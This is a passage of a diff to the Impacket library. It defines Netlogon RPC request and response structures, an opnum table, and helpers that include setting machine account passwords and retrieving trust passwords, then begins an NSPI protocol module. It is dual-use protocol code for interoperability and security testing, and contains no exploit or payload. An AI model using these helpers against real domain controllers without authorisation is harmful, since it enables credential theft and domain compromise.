+       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),
+       ('ServerCapabilities',NETLOGON_CAPABILITIES),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.4.11 NetrChainSetClientAttributes (Opnum 49)
+
+# 3.5.4.5.1 NetrLogonSamLogonEx (Opnum 39)
+class NetrLogonSamLogonEx(NDRCALL):
+    opnum = 39
+    structure = (
+       ('LogonServer',LPWSTR),
+       ('ComputerName',LPWSTR),
+       ('LogonLevel',NETLOGON_LOGON_INFO_CLASS),
+       ('LogonInformation',NETLOGON_LEVEL),
+       ('ValidationLevel',NETLOGON_VALIDATION_INFO_CLASS),
+       ('ExtraFlags',ULONG),
+    )
+
+class NetrLogonSamLogonExResponse(NDRCALL):
+    structure = (
+       ('ValidationInformation',NETLOGON_VALIDATION),
+       ('Authoritative',UCHAR),
+       ('ExtraFlags',ULONG),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.5.2 NetrLogonSamLogonWithFlags (Opnum 45)
+class NetrLogonSamLogonWithFlags(NDRCALL):
+    opnum = 45
+    structure = (
+       ('LogonServer',LPWSTR),
+       ('ComputerName',LPWSTR),
+       ('Authenticator',PNETLOGON_AUTHENTICATOR),
+       ('ReturnAuthenticator',PNETLOGON_AUTHENTICATOR),
+       ('LogonLevel',NETLOGON_LOGON_INFO_CLASS),
+       ('LogonInformation',NETLOGON_LEVEL),
+       ('ValidationLevel',NETLOGON_VALIDATION_INFO_CLASS),
+       ('ExtraFlags',ULONG),
+    )
+
+class NetrLogonSamLogonWithFlagsResponse(NDRCALL):
+    structure = (
+       ('ReturnAuthenticator',PNETLOGON_AUTHENTICATOR),
+       ('ValidationInformation',NETLOGON_VALIDATION),
+       ('Authoritative',UCHAR),
+       ('ExtraFlags',ULONG),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.5.3 NetrLogonSamLogon (Opnum 2)
+class NetrLogonSamLogon(NDRCALL):
+    opnum = 2
+    structure = (
+       ('LogonServer',LPWSTR),
+       ('ComputerName',LPWSTR),
+       ('Authenticator',PNETLOGON_AUTHENTICATOR),
+       ('ReturnAuthenticator',PNETLOGON_AUTHENTICATOR),
+       ('LogonLevel',NETLOGON_LOGON_INFO_CLASS),
+       ('LogonInformation',NETLOGON_LEVEL),
+       ('ValidationLevel',NETLOGON_VALIDATION_INFO_CLASS),
+    )
+
+class NetrLogonSamLogonResponse(NDRCALL):
+    structure = (
+       ('ReturnAuthenticator',PNETLOGON_AUTHENTICATOR),
+       ('ValidationInformation',NETLOGON_VALIDATION),
+       ('Authoritative',UCHAR),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.5.4 NetrLogonSamLogoff (Opnum 3)
+class NetrLogonSamLogoff(NDRCALL):
+    opnum = 3
+    structure = (
+       ('LogonServer',LPWSTR),
+       ('ComputerName',LPWSTR),
+       ('Authenticator',PNETLOGON_AUTHENTICATOR),
+       ('ReturnAuthenticator',PNETLOGON_AUTHENTICATOR),
+       ('LogonLevel',NETLOGON_LOGON_INFO_CLASS),
+       ('LogonInformation',NETLOGON_LEVEL),
+    )
+
+class NetrLogonSamLogoffResponse(NDRCALL):
+    structure = (
+       ('ReturnAuthenticator',PNETLOGON_AUTHENTICATOR),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.6.1 NetrDatabaseDeltas (Opnum 7)
+class NetrDatabaseDeltas(NDRCALL):
+    opnum = 7
+    structure = (
+       ('PrimaryName',LOGONSRV_HANDLE),
+       ('ComputerName',WSTR),
+       ('Authenticator',NETLOGON_AUTHENTICATOR),
+       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),
+       ('DatabaseID',DWORD),
+       ('DomainModifiedCount',NLPR_MODIFIED_COUNT),
+       ('PreferredMaximumLength',DWORD),
+    )
+
+class NetrDatabaseDeltasResponse(NDRCALL):
+    structure = (
+       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),
+       ('DomainModifiedCount',NLPR_MODIFIED_COUNT),
+       ('DeltaArray',PNETLOGON_DELTA_ENUM_ARRAY),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.6.2 NetrDatabaseSync2 (Opnum 16)
+class NetrDatabaseSync2(NDRCALL):
+    opnum = 16
+    structure = (
+       ('PrimaryName',LOGONSRV_HANDLE),
+       ('ComputerName',WSTR),
+       ('Authenticator',NETLOGON_AUTHENTICATOR),
+       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),
+       ('DatabaseID',DWORD),
+       ('RestartState',SYNC_STATE),
+       ('SyncContext',ULONG),
+       ('PreferredMaximumLength',DWORD),
+    )
+
+class NetrDatabaseSync2Response(NDRCALL):
+    structure = (
+       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),
+       ('SyncContext',ULONG),
+       ('DeltaArray',PNETLOGON_DELTA_ENUM_ARRAY),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.6.3 NetrDatabaseSync (Opnum 8)
+class NetrDatabaseSync(NDRCALL):
+    opnum = 8
+    structure = (
+       ('PrimaryName',LOGONSRV_HANDLE),
+       ('ComputerName',WSTR),
+       ('Authenticator',NETLOGON_AUTHENTICATOR),
+       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),
+       ('DatabaseID',DWORD),
+       ('SyncContext',ULONG),
+       ('PreferredMaximumLength',DWORD),
+    )
+
+class NetrDatabaseSyncResponse(NDRCALL):
+    structure = (
+       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),
+       ('SyncContext',ULONG),
+       ('DeltaArray',PNETLOGON_DELTA_ENUM_ARRAY),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.6.4 NetrDatabaseRedo (Opnum 17)
+class NetrDatabaseRedo(NDRCALL):
+    opnum = 17
+    structure = (
+       ('PrimaryName',LOGONSRV_HANDLE),
+       ('ComputerName',WSTR),
+       ('Authenticator',NETLOGON_AUTHENTICATOR),
+       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),
+       ('ChangeLogEntry',PUCHAR_ARRAY),
+       ('ChangeLogEntrySize',DWORD),
+    )
+
+class NetrDatabaseRedoResponse(NDRCALL):
+    structure = (
+       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),
+       ('DeltaArray',PNETLOGON_DELTA_ENUM_ARRAY),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.7.1 DsrEnumerateDomainTrusts (Opnum 40)
+class DsrEnumerateDomainTrusts(NDRCALL):
+    opnum = 40
+    structure = (
+       ('ServerName',PLOGONSRV_HANDLE),
+       ('Flags',ULONG),
+    )
+
+class DsrEnumerateDomainTrustsResponse(NDRCALL):
+    structure = (
+       ('Domains',NETLOGON_TRUSTED_DOMAIN_ARRAY),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.7.2 NetrEnumerateTrustedDomainsEx (Opnum 36)
+class NetrEnumerateTrustedDomainsEx(NDRCALL):
+    opnum = 36
+    structure = (
+       ('ServerName',PLOGONSRV_HANDLE),
+    )
+
+class NetrEnumerateTrustedDomainsExResponse(NDRCALL):
+    structure = (
+       ('Domains',NETLOGON_TRUSTED_DOMAIN_ARRAY),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.7.3 NetrEnumerateTrustedDomains (Opnum 19)
+class NetrEnumerateTrustedDomains(NDRCALL):
+    opnum = 19
+    structure = (
+       ('ServerName',PLOGONSRV_HANDLE),
+    )
+
+class NetrEnumerateTrustedDomainsResponse(NDRCALL):
+    structure = (
+       ('DomainNameBuffer',DOMAIN_NAME_BUFFER),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.7.4 NetrGetForestTrustInformation (Opnum 44)
+class NetrGetForestTrustInformation(NDRCALL):
+    opnum = 44
+    structure = (
+       ('ServerName',PLOGONSRV_HANDLE),
+       ('ComputerName',WSTR),
+       ('Authenticator',NETLOGON_AUTHENTICATOR),
+       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),
+       ('Flags',DWORD),
+    )
+
+class NetrGetForestTrustInformationResponse(NDRCALL):
+    structure = (
+       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),
+       ('ForestTrustInfo',PLSA_FOREST_TRUST_INFORMATION),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.7.5 DsrGetForestTrustInformation (Opnum 43)
+class DsrGetForestTrustInformation(NDRCALL):
+    opnum = 43
+    structure = (
+       ('ServerName',PLOGONSRV_HANDLE),
+       ('TrustedDomainName',LPWSTR),
+       ('Flags',DWORD),
+    )
+
+class DsrGetForestTrustInformationResponse(NDRCALL):
+    structure = (
+       ('ForestTrustInfo',PLSA_FOREST_TRUST_INFORMATION),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.7.6 NetrServerGetTrustInfo (Opnum 46)
+class NetrServerGetTrustInfo(NDRCALL):
+    opnum = 46
+    structure = (
+       ('TrustedDcName',PLOGONSRV_HANDLE),
+       ('AccountName',WSTR),
+       ('SecureChannelType',NETLOGON_SECURE_CHANNEL_TYPE),
+       ('ComputerName',WSTR),
+       ('Authenticator',NETLOGON_AUTHENTICATOR),
+    )
+
+class NetrServerGetTrustInfoResponse(NDRCALL):
+    structure = (
+       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),
+       ('EncryptedNewOwfPassword',ENCRYPTED_NT_OWF_PASSWORD),
+       ('EncryptedOldOwfPassword',ENCRYPTED_NT_OWF_PASSWORD),
+       ('TrustInfo',PNL_GENERIC_RPC_DATA),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.8.1 NetrLogonGetTrustRid (Opnum 23)
+class NetrLogonGetTrustRid(NDRCALL):
+    opnum = 23
+    structure = (
+       ('ServerName',PLOGONSRV_HANDLE),
+       ('DomainName',LPWSTR),
+    )
+
+class NetrLogonGetTrustRidResponse(NDRCALL):
+    structure = (
+       ('Rid',ULONG),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.8.2 NetrLogonComputeServerDigest (Opnum 24)
+class NetrLogonComputeServerDigest(NDRCALL):
+    opnum = 24
+    structure = (
+       ('ServerName',PLOGONSRV_HANDLE),
+       ('Rid',ULONG),
+       ('Message',UCHAR_ARRAY),
+       ('MessageSize',ULONG),
+    )
+
+class NetrLogonComputeServerDigestResponse(NDRCALL):
+    structure = (
+       ('NewMessageDigest',CHAR_FIXED_16_ARRAY),
+       ('OldMessageDigest',CHAR_FIXED_16_ARRAY),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.8.3 NetrLogonComputeClientDigest (Opnum 25)
+class NetrLogonComputeClientDigest(NDRCALL):
+    opnum = 25
+    structure = (
+       ('ServerName',PLOGONSRV_HANDLE),
+       ('DomainName',LPWSTR),
+       ('Message',UCHAR_ARRAY),
+       ('MessageSize',ULONG),
+    )
+
+class NetrLogonComputeClientDigestResponse(NDRCALL):
+    structure = (
+       ('NewMessageDigest',CHAR_FIXED_16_ARRAY),
+       ('OldMessageDigest',CHAR_FIXED_16_ARRAY),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.8.4 NetrLogonSendToSam (Opnum 32)
+class NetrLogonSendToSam(NDRCALL):
+    opnum = 32
+    structure = (
+       ('PrimaryName',PLOGONSRV_HANDLE),
+       ('ComputerName',WSTR),
+       ('Authenticator',NETLOGON_AUTHENTICATOR),
+       ('OpaqueBuffer',UCHAR_ARRAY),
+       ('OpaqueBufferSize',ULONG),
+    )
+
+class NetrLogonSendToSamResponse(NDRCALL):
+    structure = (
+       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.8.5 NetrLogonSetServiceBits (Opnum 22)
+class NetrLogonSetServiceBits(NDRCALL):
+    opnum = 22
+    structure = (
+       ('ServerName',PLOGONSRV_HANDLE),
+       ('ServiceBitsOfInterest',DWORD),
+       ('ServiceBits',DWORD),
+    )
+
+class NetrLogonSetServiceBitsResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.8.6 NetrLogonGetTimeServiceParentDomain (Opnum 35)
+class NetrLogonGetTimeServiceParentDomain(NDRCALL):
+    opnum = 35
+    structure = (
+       ('ServerName',PLOGONSRV_HANDLE),
+    )
+
+class NetrLogonGetTimeServiceParentDomainResponse(NDRCALL):
+    structure = (
+       ('DomainName',LPWSTR),
+       ('PdcSameSite',LONG),
+       ('ErrorCode',NET_API_STATUS),
+    )
+
+# 3.5.4.9.1 NetrLogonControl2Ex (Opnum 18)
+class NetrLogonControl2Ex(NDRCALL):
+    opnum = 18
+    structure = (
+       ('ServerName',PLOGONSRV_HANDLE),
+       ('FunctionCode',DWORD),
+       ('QueryLevel',DWORD),
+       ('Data',NETLOGON_CONTROL_DATA_INFORMATION),
+    )
+
+class NetrLogonControl2ExResponse(NDRCALL):
+    structure = (
+       ('Buffer', NETLOGON_CONTROL_QUERY_INFORMATION),
+       ('ErrorCode',NET_API_STATUS),
+    )
+
+# 3.5.4.9.2 NetrLogonControl2 (Opnum 14)
+class NetrLogonControl2(NDRCALL):
+    opnum = 14
+    structure = (
+       ('ServerName',PLOGONSRV_HANDLE),
+       ('FunctionCode',DWORD),
+       ('QueryLevel',DWORD),
+       ('Data',NETLOGON_CONTROL_DATA_INFORMATION),
+    )
+
+class NetrLogonControl2Response(NDRCALL):
+    structure = (
+       ('Buffer', NETLOGON_CONTROL_QUERY_INFORMATION),
+       ('ErrorCode',NET_API_STATUS),
+    )
+
+# 3.5.4.9.3 NetrLogonControl (Opnum 12)
+class NetrLogonControl(NDRCALL):
+    opnum = 12
+    structure = (
+       ('ServerName',PLOGONSRV_HANDLE),
+       ('FunctionCode',DWORD),
+       ('QueryLevel',DWORD),
+       ('Data',NETLOGON_CONTROL_DATA_INFORMATION),
+    )
+
+class NetrLogonControlResponse(NDRCALL):
+    structure = (
+       ('Buffer',NETLOGON_CONTROL_DATA_INFORMATION),
+       ('ErrorCode',NET_API_STATUS),
+    )
+
+# 3.5.4.10.1 NetrLogonUasLogon (Opnum 0)
+class NetrLogonUasLogon(NDRCALL):
+    opnum = 0
+    structure = (
+       ('ServerName',PLOGONSRV_HANDLE),
+       ('UserName',WSTR),
+       ('Workstation',WSTR),
+    )
+
+class NetrLogonUasLogonResponse(NDRCALL):
+    structure = (
+       ('ValidationInformation',PNETLOGON_VALIDATION_UAS_INFO),
+       ('ErrorCode',NET_API_STATUS),
+    )
+
+# 3.5.4.10.2 NetrLogonUasLogoff (Opnum 1)
+class NetrLogonUasLogoff(NDRCALL):
+    opnum = 1
+    structure = (
+       ('ServerName',PLOGONSRV_HANDLE),
+       ('UserName',WSTR),
+       ('Workstation',WSTR),
+    )
+
+class NetrLogonUasLogoffResponse(NDRCALL):
+    structure = (
+       ('LogoffInformation',NETLOGON_LOGOFF_UAS_INFO),
+       ('ErrorCode',NET_API_STATUS),
+    )
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+ 0 : (NetrLogonUasLogon, NetrLogonUasLogonResponse),
+ 1 : (NetrLogonUasLogoff, NetrLogonUasLogoffResponse),
+ 2 : (NetrLogonSamLogon, NetrLogonSamLogonResponse),
+ 3 : (NetrLogonSamLogoff, NetrLogonSamLogoffResponse),
+ 4 : (NetrServerReqChallenge, NetrServerReqChallengeResponse),
+ 5 : (NetrServerAuthenticate, NetrServerAuthenticateResponse),
+# 6 : (NetrServerPasswordSet, NetrServerPasswordSetResponse),
+ 7 : (NetrDatabaseDeltas, NetrDatabaseDeltasResponse),
+ 8 : (NetrDatabaseSync, NetrDatabaseSyncResponse),
+# 9 : (NetrAccountDeltas, NetrAccountDeltasResponse),
+# 10 : (NetrAccountSync, NetrAccountSyncResponse),
+ 11 : (NetrGetDCName, NetrGetDCNameResponse),
+ 12 : (NetrLogonControl, NetrLogonControlResponse),
+ 13 : (NetrGetAnyDCName, NetrGetAnyDCNameResponse),
+ 14 : (NetrLogonControl2, NetrLogonControl2Response),
+ 15 : (NetrServerAuthenticate2, NetrServerAuthenticate2Response),
+ 16 : (NetrDatabaseSync2, NetrDatabaseSync2Response),
+ 17 : (NetrDatabaseRedo, NetrDatabaseRedoResponse),
+ 18 : (NetrLogonControl2Ex, NetrLogonControl2ExResponse),
+ 19 : (NetrEnumerateTrustedDomains, NetrEnumerateTrustedDomainsResponse),
+ 20 : (DsrGetDcName, DsrGetDcNameResponse),
+ 21 : (NetrLogonGetCapabilities, NetrLogonGetCapabilitiesResponse),
+ 22 : (NetrLogonSetServiceBits, NetrLogonSetServiceBitsResponse),
+ 23 : (NetrLogonGetTrustRid, NetrLogonGetTrustRidResponse),
+ 24 : (NetrLogonComputeServerDigest, NetrLogonComputeServerDigestResponse),
+ 25 : (NetrLogonComputeClientDigest, NetrLogonComputeClientDigestResponse),
+ 26 : (NetrServerAuthenticate3, NetrServerAuthenticate3Response),
+ 27 : (DsrGetDcNameEx, DsrGetDcNameExResponse),
+ 28 : (DsrGetSiteName, DsrGetSiteNameResponse),
+ 29 : (NetrLogonGetDomainInfo, NetrLogonGetDomainInfoResponse),
+ 30 : (NetrServerPasswordSet2, NetrServerPasswordSet2Response),
+ 31 : (NetrServerPasswordGet, NetrServerPasswordGetResponse),
+ 32 : (NetrLogonSendToSam, NetrLogonSendToSamResponse),
+ 33 : (DsrAddressToSiteNamesW, DsrAddressToSiteNamesWResponse),
+ 34 : (DsrGetDcNameEx2, DsrGetDcNameEx2Response),
+ 35 : (NetrLogonGetTimeServiceParentDomain, NetrLogonGetTimeServiceParentDomainResponse),
+ 36 : (NetrEnumerateTrustedDomainsEx, NetrEnumerateTrustedDomainsExResponse),
+ 37 : (DsrAddressToSiteNamesExW, DsrAddressToSiteNamesExWResponse),
+ 38 : (DsrGetDcSiteCoverageW, DsrGetDcSiteCoverageWResponse),
+ 39 : (NetrLogonSamLogonEx, NetrLogonSamLogonExResponse),
+ 40 : (DsrEnumerateDomainTrusts, DsrEnumerateDomainTrustsResponse),
+ 41 : (DsrDeregisterDnsHostRecords, DsrDeregisterDnsHostRecordsResponse),
+ 42 : (NetrServerTrustPasswordsGet, NetrServerTrustPasswordsGetResponse),
+ 43 : (DsrGetForestTrustInformation, DsrGetForestTrustInformationResponse),
+ 44 : (NetrGetForestTrustInformation, NetrGetForestTrustInformationResponse),
+ 45 : (NetrLogonSamLogonWithFlags, NetrLogonSamLogonWithFlagsResponse),
+ 46 : (NetrServerGetTrustInfo, NetrServerGetTrustInfoResponse),
+# 48 : (DsrUpdateReadOnlyServerDnsRecords, DsrUpdateReadOnlyServerDnsRecordsResponse),
+# 49 : (NetrChainSetClientAttributes, NetrChainSetClientAttributesResponse),
+}
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+def checkNullString(string):
+    if string == NULL:
+        return string
+
+    if string[-1:] != '\x00':
+        return string + '\x00'
+    else:
+        return string
+
+def hNetrServerReqChallenge(dce, primaryName, computerName, clientChallenge):
+    request = NetrServerReqChallenge()
+    request['PrimaryName'] = checkNullString(primaryName)
+    request['ComputerName'] = checkNullString(computerName)
+    request['ClientChallenge'] = clientChallenge
+    return dce.request(request)
+
+def hNetrServerAuthenticate3(dce, primaryName, accountName, secureChannelType, computerName, clientCredential, negotiateFlags):
+    request = NetrServerAuthenticate3()
+    request['PrimaryName'] = checkNullString(primaryName)
+    request['AccountName'] = checkNullString(accountName)
+    request['SecureChannelType'] = secureChannelType
+    request['ClientCredential'] = clientCredential
+    request['ComputerName'] = checkNullString(computerName)
+    request['NegotiateFlags'] = negotiateFlags
+    return dce.request(request)
+
+def hDsrGetDcNameEx2(dce, computerName, accountName, allowableAccountControlBits, domainName, domainGuid, siteName, flags):
+    request = DsrGetDcNameEx2()
+    request['ComputerName'] = checkNullString(computerName)
+    request['AccountName'] = checkNullString(accountName)
+    request['AllowableAccountControlBits'] = allowableAccountControlBits
+    request['DomainName'] = checkNullString(domainName)
+    request['DomainGuid'] = domainGuid
+    request['SiteName'] = checkNullString(siteName)
+    request['Flags'] = flags
+    return dce.request(request)
+
+def hDsrGetDcNameEx(dce, computerName, domainName, domainGuid, siteName, flags):
+    request = DsrGetDcNameEx()
+    request['ComputerName'] = checkNullString(computerName)
+    request['DomainName'] = checkNullString(domainName)
+    request['DomainGuid'] = domainGuid
+    request['SiteName'] = siteName
+    request['Flags'] = flags
+    return dce.request(request)
+
+def hDsrGetDcName(dce, computerName, domainName, domainGuid, siteGuid, flags):
+    request = DsrGetDcName()
+    request['ComputerName'] = checkNullString(computerName)
+    request['DomainName'] = checkNullString(domainName)
+    request['DomainGuid'] = domainGuid
+    request['SiteGuid'] = siteGuid
+    request['Flags'] = flags
+    return dce.request(request)
+
+def hNetrGetAnyDCName(dce, serverName, domainName):
+    request = NetrGetAnyDCName()
+    request['ServerName'] = checkNullString(serverName)
+    request['DomainName'] = checkNullString(domainName)
+    return dce.request(request)
+
+def hNetrGetDCName(dce, serverName, domainName):
+    request = NetrGetDCName()
+    request['ServerName'] = checkNullString(serverName)
+    request['DomainName'] = checkNullString(domainName)
+    return dce.request(request)
+
+def hDsrGetSiteName(dce, computerName):
+    request = DsrGetSiteName()
+    request['ComputerName'] = checkNullString(computerName)
+    return dce.request(request)
+
+def hDsrGetDcSiteCoverageW(dce, serverName):
+    request = DsrGetDcSiteCoverageW()
+    request['ServerName'] = checkNullString(serverName)
+    return dce.request(request)
+
+def hNetrServerAuthenticate2(dce, primaryName, accountName, secureChannelType, computerName, clientCredential, negotiateFlags):
+    request = NetrServerAuthenticate2()
+    request['PrimaryName'] = checkNullString(primaryName)
+    request['AccountName'] = checkNullString(accountName)
+    request['SecureChannelType'] = secureChannelType
+    request['ClientCredential'] = clientCredential
+    request['ComputerName'] = checkNullString(computerName)
+    request['NegotiateFlags'] = negotiateFlags
+    return dce.request(request)
+
+def hNetrServerAuthenticate(dce, primaryName, accountName, secureChannelType, computerName, clientCredential):
+    request = NetrServerAuthenticate()
+    request['PrimaryName'] = checkNullString(primaryName)
+    request['AccountName'] = checkNullString(accountName)
+    request['SecureChannelType'] = secureChannelType
+    request['ClientCredential'] = clientCredential
+    request['ComputerName'] = checkNullString(computerName)
+    return dce.request(request)
+
+def hNetrServerPasswordGet(dce, primaryName, accountName, accountType, computerName, authenticator):
+    request = NetrServerPasswordGet()
+    request['PrimaryName'] = checkNullString(primaryName)
+    request['AccountName'] = checkNullString(accountName)
+    request['AccountType'] = accountType
+    request['ComputerName'] = checkNullString(computerName)
+    request['Authenticator'] = authenticator
+    return dce.request(request)
+
+def hNetrServerTrustPasswordsGet(dce, trustedDcName, accountName, secureChannelType, computerName, authenticator):
+    request = NetrServerTrustPasswordsGet()
+    request['TrustedDcName'] = checkNullString(trustedDcName)
+    request['AccountName'] = checkNullString(accountName)
+    request['SecureChannelType'] = secureChannelType
+    request['ComputerName'] = checkNullString(computerName)
+    request['Authenticator'] = authenticator
+    return dce.request(request)
+
+def hNetrServerPasswordSet2(dce, primaryName, accountName, secureChannelType, computerName, authenticator, clearNewPasswordBlob):
+    request = NetrServerPasswordSet2()
+    request['PrimaryName'] = checkNullString(primaryName)
+    request['AccountName'] = checkNullString(accountName)
+    request['SecureChannelType'] = secureChannelType
+    request['ComputerName'] = checkNullString(computerName)
+    request['Authenticator'] = authenticator
+    request['ClearNewPassword'] = clearNewPasswordBlob
+    return dce.request(request)
+
+def hNetrLogonGetDomainInfo(dce, serverName, computerName, authenticator, returnAuthenticator=0, level=1):
+    request = NetrLogonGetDomainInfo()
+    request['ServerName'] = checkNullString(serverName)
+    request['ComputerName'] = checkNullString(computerName)
+    request['Authenticator'] = authenticator
+    if returnAuthenticator == 0:
+        request['ReturnAuthenticator']['Credential'] = b'\x00'*8
+        request['ReturnAuthenticator']['Timestamp'] = 0
+    else:
+        request['ReturnAuthenticator'] = returnAuthenticator
+
+    request['Level'] = 1
+    if level == 1:
+        request['WkstaBuffer']['tag'] = 1
+        request['WkstaBuffer']['WorkstationInfo']['DnsHostName'] = NULL
+        request['WkstaBuffer']['WorkstationInfo']['SiteName'] = NULL
+        request['WkstaBuffer']['WorkstationInfo']['OsName'] = ''
+        request['WkstaBuffer']['WorkstationInfo']['Dummy1'] = NULL
+        request['WkstaBuffer']['WorkstationInfo']['Dummy2'] = NULL
+        request['WkstaBuffer']['WorkstationInfo']['Dummy3'] = NULL
+        request['WkstaBuffer']['WorkstationInfo']['Dummy4'] = NULL
+    else:
+        request['WkstaBuffer']['tag'] = 2
+        request['WkstaBuffer']['LsaPolicyInfo']['LsaPolicy'] = NULL
+    return dce.request(request)
+
+def hNetrLogonGetCapabilities(dce, serverName, computerName, authenticator, returnAuthenticator=0, queryLevel=1):
+    request = NetrLogonGetCapabilities()
+    request['ServerName'] = checkNullString(serverName)
+    request['ComputerName'] = checkNullString(computerName)
+    request['Authenticator'] = authenticator
+    if returnAuthenticator == 0:
+        request['ReturnAuthenticator']['Credential'] = b'\x00'*8
+        request['ReturnAuthenticator']['Timestamp'] = 0
+    else:
+        request['ReturnAuthenticator'] = returnAuthenticator
+    request['QueryLevel'] = queryLevel
+    return dce.request(request)
+
+def hNetrServerGetTrustInfo(dce, trustedDcName, accountName, secureChannelType, computerName, authenticator):
+    request = NetrServerGetTrustInfo()
+    request['TrustedDcName'] = checkNullString(trustedDcName)
+    request['AccountName'] = checkNullString(accountName)
+    request['SecureChannelType'] = secureChannelType
+    request['ComputerName'] = checkNullString(computerName)
+    request['Authenticator'] = authenticator
+    return dce.request(request)
diff --git a/impacket/dcerpc/v5/nspi.py b/impacket/dcerpc/v5/nspi.py
new file mode 100644
index 0000000..b09a95e
--- /dev/null
+++ b/impacket/dcerpc/v5/nspi.py
@@ -0,0 +1,1364 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-NSPI]: Name Service Provider Interface (NSPI) Protocol
+#   [MS-OXNSPI]: Exchange Server Name Service Provider Interface (NSPI) Protocol
+#
+#   Tested for MS-OXNSPI, some operation may not work for MS-NSPI
+#
+# Author:
+#   Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)
+#
+# ToDo:
+#   [ ] Test commented NDRCALLs and write helpers for them
+#   [ ] Test restriction structures
+#
+
+from __future__ import division
+from __future__ import print_function
+from struct import unpack
+from datetime import datetime
+from six import PY2
+import binascii
+
+from impacket import hresult_errors, mapi_constants, uuid
+from impacket.uuid import EMPTY_UUID
+from impacket.structure import Structure
+from impacket.dcerpc.v5.dtypes import NULL, STR, DWORD, LPDWORD, UUID, PUUID, LONG, ULONG, \
+    FILETIME, PFILETIME, BYTE, SHORT, LPSTR, LPWSTR, USHORT, LPLONG, DWORD_ARRAY
+from impacket.ldap.ldaptypes import LDAP_SID
+from impacket.dcerpc.v5.ndr import NDR, NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, \
+    NDRUniConformantVaryingArray, NDRUniConformantArray, NDRUniVaryingArray
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.uuid import string_to_bin, uuidtup_to_bin, EMPTY_UUID
+
+MSRPC_UUID_NSPI = uuidtup_to_bin(('F5CC5A18-4264-101A-8C59-08002B2F8426', '56.0'))
+
+class DCERPCSessionError(DCERPCException):
+    def __str__( self ):
+        key = self.error_code
+        if key in mapi_constants.ERROR_MESSAGES:
+            error_msg_short = mapi_constants.ERROR_MESSAGES[key]
+            return 'NSPI SessionError: code: 0x%x - %s' % (self.error_code, error_msg_short)
+        elif key in hresult_errors.ERROR_MESSAGES:
+            error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
+            return 'NSPI SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'NSPI SessionError: unknown error code: 0x%x' % self.error_code
+
+################################################################################
+# STRUCTURES
+################################################################################
+class handle_t(NDRSTRUCT):
+    structure = (
+         ('context_handle_attributes',ULONG),
+         ('context_handle_uuid',UUID),
+    )
+
+    def __init__(self, data=None, isNDR64=False):
+        NDRSTRUCT.__init__(self, data, isNDR64)
+        self['context_handle_uuid'] = b'\x00'*16
+
+    def isNull(self):
+        return self['context_handle_uuid'] == b'\x00'*16
+
+# 2.2.1 Permitted Property Type Values
+PtypEmbeddedTable = 0x0000000D
+PtypNull          = 0x00000001
+PtypUnspecified   = 0x00000000
+
+# 2.2.3 Display Type Values
+DT_MAILUSER         = 0x00000000
+DT_DISTLIST         = 0x00000001
+DT_FORUM            = 0x00000002
+DT_AGENT            = 0x00000003
+DT_ORGANIZATION     = 0x00000004
+DT_PRIVATE_DISTLIST = 0x00000005
+DT_REMOTE_MAILUSER  = 0x00000006
+DT_CONTAINER        = 0x00000100
+DT_TEMPLATE         = 0x00000101
+DT_ADDRESS_TEMPLATE = 0x00000102
+DT_SEARCH           = 0x00000200
+
+# 2.2.4 Default Language Code Identifier
+NSPI_DEFAULT_LOCALE = 0x00000409
+
+# 2.2.5 Required Codepages
+CP_TELETEX    = 0x00004F25
+CP_WINUNICODE = 0x000004B0
+
+# 2.2.6.1 Comparison Flags
+NORM_IGNORECASE     = 1 << 0
+NORM_IGNORENONSPACE = 1 << 1
+NORM_IGNORESYMBOLS  = 1 << 2
+SORT_STRINGSORT     = 1 << 12
+NORM_IGNOREKANATYPE = 1 << 16
+NORM_IGNOREWIDTH    = 1 << 17
+
+# 2.2.7 Permanent Entry ID GUID
